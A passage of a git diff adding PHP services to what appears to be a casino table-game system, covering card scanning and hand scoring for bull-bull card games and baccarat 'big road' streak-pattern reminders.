$numberTabInfo['id']])->update(['position_first' => $positionFirst]); + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = 0; + $round['order_num'] = 0; + $round['result'] = ''; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } + // 判断是否已经存在过相同牌 + $beforeCard = $cardInfo; + //unset($beforeCard['card_first']); + unset($beforeCard['position_first']); + + // 识别的允许先提交重复牌,再修改 2024/4/9 + // if(in_array($card,$beforeCard)) return ['status' => false, 'msg' => 'Card Exists']; + + + $cardCountValues = array_count_values($beforeCard); + // 获取当前定位 + if (isset($cardCountValues[0])){ + $positionNum = 20 - intval($cardCountValues[0]) + 1; + } else { + $positionNum = 20; + } + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Card[3] = $cardInfo['player_1_card_4']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Card[3] = $cardInfo['player_2_card_4']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Card[3] = $cardInfo['player_3_card_4']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerCard[3] = $cardInfo['banker_card_4']; + $resultWord = ''; + + + $order = CardPositionNn::nnOrderSb($cardInfo['position_first']); + $orderPosition = $positionNum - 1; + $position = $order[$orderPosition]; + $orderNumArr = CardPositionNn::nnOrderNumSb($cardInfo['position_first']); + $orderNum = $orderNumArr[$orderPosition]; + + if (isset($event['position'])) { + if ($staticPosition != 0) { + $sbStaticPostion = CardPositionNn::sbStaticCardPosition($staticPosition); + if ($position != $sbStaticPostion) { + return ['status' => false, 'msg' => 'Card Postion Error. No Good.']; + } + } else { + if ($cardInfo['position_first'] != 0) { + return ['status' => false, 'msg' => 'First Card Exist. No Good.']; + } + } + + } + + $cardInfo[$position] = $card; + if($positionNum == 5 || $positionNum == 10 || $positionNum == 15 || $positionNum == 20){ + if($orderNum > 10 && $orderNum < 20){ + $player1Card[4] = $card; + $player1Result = CardPositionNn::JudgeCowCow($player1Card); + $resultWord = $player1Result['word']; + } + if($orderNum > 20 && $orderNum < 30){ + $player2Card[4] = $card; + $player2Result = CardPositionNn::JudgeCowCow($player2Card); + $resultWord = $player2Result['word']; + } + if($orderNum > 30 && $orderNum < 40){ + $player3Card[4] = $card; + $player3Result = CardPositionNn::JudgeCowCow($player3Card); + $resultWord = $player3Result['word']; + } + if($orderNum > 40){ + $bankerCard[4] = $card; + $bankerResult = CardPositionNn::JudgeCowCow($bankerCard); + $resultWord = $bankerResult['word']; + } + } + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = $positionNum; + $round['order_num'] = $orderNum; + $round['result'] = $resultWord; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } +} \ No newline at end of file diff --git a/app/services/scan/ScanTcService.php b/app/services/scan/ScanTcService.php new file mode 100644 index 0000000..bf7b5a4 --- /dev/null +++ b/app/services/scan/ScanTcService.php @@ -0,0 +1,141 @@ + false, 'msg' => 'CardPosition Unable Distinguish']; + $card = intval($event['card']); + $round = [ + 'card' => $card, + 'number' => CardPosition::interchangeCard($card), + 'boot_id' => intval($numberTabInfo['boot_id']), + 'boot_num' => intval($numberTabInfo['boot_num']), + 'number_tab_id' => intval($numberTabInfo['id']), + 'number_tab_number' => intval($numberTabInfo['number']) + ]; + if (!$cardInfo){ + // 没有牌数据,创建并保存 + $cardInfo = ['card_first' => $card]; + $cardInfo['player_1_card_1'] = 0; + $cardInfo['player_1_card_2'] = 0; + $cardInfo['player_1_card_3'] = 0; + $cardInfo['player_2_card_1'] = 0; + $cardInfo['player_2_card_2'] = 0; + $cardInfo['player_2_card_3'] = 0; + $cardInfo['player_3_card_1'] = 0; + $cardInfo['player_3_card_2'] = 0; + $cardInfo['player_3_card_3'] = 0; + $cardInfo['banker_card_1'] = 0; + $cardInfo['banker_card_2'] = 0; + $cardInfo['banker_card_3'] = 0; + $positionFirst = CardPositionNn::nnPosition($card); + $cardInfo['position_first'] = $positionFirst; + NumberTab::where(['id' => $numberTabInfo['id']])->update(['position_first' => $positionFirst]); + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = 0; + $round['order_num'] = 0; + $round['result'] = ''; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } + // 判断是否已经存在过相同牌 + $beforeCard = $cardInfo; + //unset($beforeCard['card_first']); + unset($beforeCard['position_first']); + if(in_array($card,$beforeCard)) return ['status' => false, 'msg' => 'Card Exists']; + $cardCountValues = array_count_values($beforeCard); + // 获取当前定位 + if (isset($cardCountValues[0])){ + $positionNum = 12 - intval($cardCountValues[0]) + 1; + } else { + $positionNum = 12; + } + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $resultWord = ''; + + $order = CardPositionTc::tcOrder($cardInfo['position_first']); + $orderPosition = $positionNum - 1; + $position = $order[$orderPosition]; + $orderNumArr = CardPositionTc::tcOrderNum($cardInfo['position_first']); + $orderNum = $orderNumArr[$orderPosition]; + $cardInfo[$position] = $card; + if($positionNum >= 9){ + if($orderNum > 10 && $orderNum < 20){ + $player1Card[2] = $card; + $player1Result = CardPositionTc::ThredCardCowCow($player1Card); + $resultWord = $player1Result['word']; + } + if($orderNum > 20 && $orderNum < 30){ + $player2Card[2] = $card; + $player2Result = CardPositionTc::ThredCardCowCow($player2Card); + $resultWord = $player2Result['word']; + } + if($orderNum > 30 && $orderNum < 40){ + $player3Card[2] = $card; + $player3Result = CardPositionTc::ThredCardCowCow($player3Card); + $resultWord = $player3Result['word']; + } + if($orderNum > 40){ + $bankerCard[2] = $card; + $bankerResult = CardPositionTc::ThredCardCowCow($bankerCard); + $resultWord = $bankerResult['word']; + } + } + RedisUtil::saveCard($numberTabInfo['id'],$cardInfo); + $round['tid'] = $tableInfo['id']; + $round['number_tab_id'] = $numberTabInfo['id']; + $round['position'] = $positionNum; + $round['order_num'] = $orderNum; + $round['result'] = $resultWord; + $round['card_info'] = $cardInfo; + if ($numberTabInfo['bet_status'] == 2) { + $round['is_scan'] = true; + } else { + $round['is_scan'] = false; + } + return ['status' => true, 'msg' => 'Scan Success', 'data' => $round]; + } +} \ No newline at end of file diff --git a/app/services/waybill/WaybillRemindService.php b/app/services/waybill/WaybillRemindService.php new file mode 100644 index 0000000..5027a4e --- /dev/null +++ b/app/services/waybill/WaybillRemindService.php @@ -0,0 +1,649 @@ + $value){ + if($value['pair'] == 1){ + $pair = 1; + }elseif($value['pair'] == 2){ + $pair = 2; + }elseif($value['pair'] == 3){ + $pair = 3; + }else{ + $pair = 0; + } + if($key == 0 && $value['result'] == 3){ + $bigRoad[$yKey][$xKey] = array('result' => 3, 'tie_num' => 1, 'pair' => $pair); + $last = array('yKey' => $yKey, 'xKey' => $xKey); + }elseif($yKey == 0 && $xKey == 0 && !empty($last) && $value['result'] != 3){ + $bigRoad[$last['yKey']][$last['xKey']]['result'] = $value['result']; + $bigRoad[$last['yKey']][$last['xKey']]['pair'] = $value['pair']; + if(isset($ns[$key+1]) && $ns[$key+1]['result'] != $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3){ + $yKey++; + $xKey = 0; + }elseif(isset($ns[$key+1]) && $ns[$key+1]['result'] == $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3){ + $xKey++; + } + $last = array('yKey' => $yKey, 'xKey' => $xKey); + }elseif($key > 0 && $value['result'] == 3){ + $bigRoad[$last['yKey']][$last['xKey']]['tie_num'] = $bigRoad[$last['yKey']][$last['xKey']]['tie_num'] + 1; + if(isset($ns[$key+1]) && $ns[$key+1]['result'] != $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3 && $bigRoad[$last['yKey']][$last['xKey']]['result'] != 3){ + $yKey++; + $xKey = 0; + }elseif(isset($ns[$key+1]) && $ns[$key+1]['result'] == $bigRoad[$last['yKey']][$last['xKey']]['result'] && $ns[$key+1]['result'] != 3 && $bigRoad[$last['yKey']][$last['xKey']]['result'] != 3){ + $xKey++; + } + $last = array('yKey' => $last['yKey'], 'xKey' => $last['xKey']); + }else{ + $bigRoad[$yKey][$xKey] = array('result' => $value['result'], 'tie_num' => 0, 'pair' => $pair); + if(isset($ns[$key+1]) && $ns[$key+1]['result'] != $bigRoad[$yKey][$xKey]['result'] && $ns[$key+1]['result'] != 3){ + $yKey++; + $xKey = 0; + }elseif(isset($ns[$key+1]) && $ns[$key+1]['result'] == $bigRoad[$yKey][$xKey]['result'] && $ns[$key+1]['result'] != 3){ + $xKey++; + } + $last = array('yKey' => $yKey, 'xKey' => $xKey); + } + } + //重新计算坐标 + $bigRoadLocation = array(); + $occupy = array(); + foreach($bigRoad AS $key => $value){ + $swerve = false; + $swerveY = $key; + foreach($value AS $k => $v){ + $show_y = $key; + $show_x = $k; + if($show_x > 5 && $swerve === false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = 5; + array_push($occupy,$show_y.'-'.$show_x); + }elseif(in_array($show_y.'-'.$show_x,$occupy)){ + if($swerve === false){ + $swerve = $show_x - 1; + } + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupy,$show_y.'-'.$show_x); + }elseif($swerve !== false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupy,$show_y.'-'.$show_x); + } + $pushArray = array('show_x' => $show_y+1, 'show_y' => $show_x+1, 'result' => $v['result'], 'pair' => $v['pair'], 'tie_num' => $v['tie_num']); + array_push($bigRoadLocation,$pushArray); + } + } + $bigRoad_lenth = count($bigRoadLocation); + if($bigRoad_lenth >= 4){ + //y=1 + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 1){ + //庄 + if($bigRoad_lenth > 4){ + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-1]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-2]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-2]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-5]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '大路单挑'); + } + } + } + } + } + } + //闲 + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-1]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-2]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-2]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '大路单挑'); + } + } + }elseif($bigRoadLocation[$bigRoad_lenth-2]['show_y'] == 2 && $bigRoadLocation[$bigRoad_lenth-2]['result'] == 1){ + if($bigRoad_lenth > 4){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5]['show_y'] >= 4 && $bigRoadLocation[$bigRoad_lenth-5]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' =>'逢庄黐'); + } + } + } + } + } + } + //y=2 + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-1]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-3]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '拍拍黐'); + }elseif($bigRoadLocation[$bigRoad_lenth-3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 2 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 1){ + if($bigRoad_lenth >= 6){ + if($bigRoadLocation[$bigRoad_lenth-6]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-6]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '一厅两房(闲)'); + } + } + } + }elseif($bigRoadLocation[$bigRoad_lenth-3]['show_y'] >=4 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 2){ + if($bigRoad_lenth >= 9){ + $is_low = $bigRoadLocation[$bigRoad_lenth-1]['show_x'] - $bigRoadLocation[$bigRoad_lenth-3]['show_x']; + if($is_low == 1){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y']; + }elseif($is_low == 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y'] - ($is_low * 2); + } + if($bigRoadLocation[$bigRoad_lenth-3-$player_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3-$player_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] == 2 && $bigRoadLocation[$bigRoad_lenth-4-$player_length]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '逢闲黐'); + } + } + } + } + if($bigRoadLocation[$bigRoad_lenth-3]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-3]['show_y'] < 6){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-3]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-3]['show_x']; + if($is_low == 1){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y']; + }elseif($is_low == 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-3-$player_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3-$player_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4-$player_length]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] < 6){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-3-$player_length]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_x']; + if($is_low == 1){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-3-$player_length]['show_y']; + }elseif($is_low == 0){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-3-$player_length]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-3-$player_length]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y'] < 6){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-3-$player_length-$player_length_2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_x']; + if($is_low == 1){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y']; + }elseif($is_low == 0){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_y'] - ($is_low * 2); + } + + } + if($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_y'] < 6){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-3-$player_length-$player_length_2-$banker_lenth]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_x']; + if($is_low == 1){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_y']; + }elseif($is_low == 0){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth-$player_length_3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth-$player_length_3]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '隔黐庄'); + } + } + } + } + } + } + } + if($bigRoadLocation[$bigRoad_lenth-1]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-3]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '拍拍黐'); + + }elseif($bigRoadLocation[$bigRoad_lenth-3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 2 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-6]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-6]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '一厅两房(庄)'); + } + } + } + if($bigRoadLocation[$bigRoad_lenth-3]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-3]['show_y'] < 6){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-3]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-3]['show_x']; + if($is_low == 1){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y']; + }elseif($is_low == 0){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-3]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-3-$banker_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-3-$banker_length]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] < 6){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-3-$banker_length]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4-$banker_length]['show_x']; + if($is_low == 1){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-3-$banker_length]['show_y']; + }elseif($is_low == 0){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-3-$banker_length]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length_2 = $bigRoadLocation[$bigRoad_lenth-3-$banker_length]['show_y'] - ($is_low * 2); + } + } + + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y'] < 6){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-3-$banker_length-$banker_length_2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_x']; + if($is_low == 1){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y']; + }elseif($is_low == 0){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y'] + 1; + }elseif($is_low < 0){ + $player_lenth = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2]['show_y'] - ($is_low * 2); + } + + } + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_y'] < 6){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-3-$banker_length-$banker_length_2-$player_lenth]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_x']; + if($is_low == 1){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_y']; + }elseif($is_low == 0){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_length_3 = $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth-$banker_length_3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4-$banker_length-$banker_length_2-$player_lenth-$banker_length_3]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '隔黐闲'); + } + } + } + } + } + } + } + } + //y=3 + if($bigRoadLocation[$bigRoad_lenth-1]['show_y'] == 3){ + if($bigRoadLocation[$bigRoad_lenth-1]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 2){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '拍拍黐'); + } + if($bigRoadLocation[$bigRoad_lenth-4]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] < 6){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-1]['show_x'] - $bigRoadLocation[$bigRoad_lenth-4]['show_x']; + if($is_low == 1){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($is_low == 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-4-$player_length]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_y'] < 6){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$player_length]['show_x']; + if($is_low == 1){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y']; + }elseif($is_low == 0){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length_2 = $bigRoadLocation[$bigRoad_lenth-4-$player_length]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] < 6){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_x']; + if($is_low == 1){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y']; + }elseif($is_low == 0){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] + 1; + }elseif($is_low < 0){ + $banker_lenth = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2]['show_y'] - ($is_low * 2); + } + + } + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] < 6){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-4-$player_length-$player_length_2-$banker_lenth]['show_x'] - $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_x']; + if($is_low == 1){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y']; + }elseif($is_low == 0){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] + 1; + }elseif($is_low < 0){ + $player_length_3 = $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth]['show_y'] - ($is_low * 2); + } + } + if($bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth-$player_length_3]['show_y'] == 1 && $bigRoadLocation[$bigRoad_lenth-5-$player_length-$player_length_2-$banker_lenth-$player_length_3]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '隔黐庄'); + } + } + } + } + } + } + } + if($bigRoadLocation[$bigRoad_lenth-1]['result'] == 2){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] >= 2 && $bigRoadLocation[$bigRoad_lenth-4]['result'] == 1){ + $is_good = array('table_id' => $table_id, 'waybill_type' => '拍拍黐'); + } + if($bigRoadLocation[$bigRoad_lenth-4]['result'] == 1){ + if($bigRoadLocation[$bigRoad_lenth-4]['show_y'] < 6){ + $banker_length = $bigRoadLocation[$bigRoad_lenth-4]['show_y']; + }elseif($bigRoadLocation[$bigRoad_lenth-4]['show_y'] == 6){ + $is_low = $bigRoadLocation[$bigRoad_lenth-1]['show_x'] - 